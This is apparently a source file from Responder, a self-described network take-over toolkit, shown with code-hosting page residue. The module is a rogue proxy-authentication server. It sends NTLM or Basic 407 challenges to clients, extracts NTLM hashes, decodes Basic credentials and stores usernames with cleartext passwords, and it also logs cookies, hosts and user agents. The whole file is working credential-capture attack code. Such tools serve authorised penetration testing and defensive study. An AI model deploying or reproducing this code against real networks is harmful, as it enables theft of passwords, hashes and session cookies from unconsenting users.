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111 lines
3.5 KiB
Python
111 lines
3.5 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder, a network take-over set of tools
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# created and maintained by Laurent Gaffie.
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# email: laurent.gaffie@gmail.com
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import SocketServer
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from HTTP import ParseHTTPHash
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from packets import *
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from utils import *
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def GrabUserAgent(data):
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UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
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if UserAgent:
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print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2))
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def GrabCookie(data):
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Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
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if Cookie:
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Cookie = Cookie.group(0).replace('Cookie: ', '')
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if len(Cookie) > 1:
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if settings.Config.Verbose:
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print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2))
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return Cookie
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return False
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def GrabHost(data):
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Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
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if Host:
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Host = Host.group(0).replace('Host: ', '')
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if settings.Config.Verbose:
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print text("[Proxy-Auth] %s" % color("Host : "+Host, 2))
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return Host
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return False
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def PacketSequence(data, client):
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NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
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Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
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if NTLM_Auth:
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Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
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if Packet_NTLM == "\x01":
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if settings.Config.Verbose:
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print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
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Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
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Buffer.calculate()
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Buffer_Ans = WPAD_NTLM_Challenge_Ans()
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Buffer_Ans.calculate(str(Buffer))
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return str(Buffer_Ans)
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if Packet_NTLM == "\x03":
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NTLM_Auth = b64decode(''.join(NTLM_Auth))
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ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
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GrabUserAgent(data)
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GrabCookie(data)
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GrabHost(data)
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return False #Send a RST with SO_LINGER when close() is called (see Responder.py)
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else:
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return False
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elif Basic_Auth:
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GrabUserAgent(data)
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GrabCookie(data)
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GrabHost(data)
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ClearText_Auth = b64decode(''.join(Basic_Auth))
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SaveToDb({
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'module': 'Proxy-Auth',
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'type': 'Basic',
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'client': client,
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'user': ClearText_Auth.split(':')[0],
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'cleartext': ClearText_Auth.split(':')[1],
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})
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return False
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else:
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if settings.Config.Basic:
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Response = WPAD_Basic_407_Ans()
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if settings.Config.Verbose:
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print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client)
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else:
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Response = WPAD_Auth_407_Ans()
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return str(Response)
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class Proxy_Auth(SocketServer.BaseRequestHandler):
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def handle(self):
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try:
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for x in range(2):
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data = self.request.recv(4096)
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self.request.send(PacketSequence(data, self.client_address[0]))
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except:
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pass
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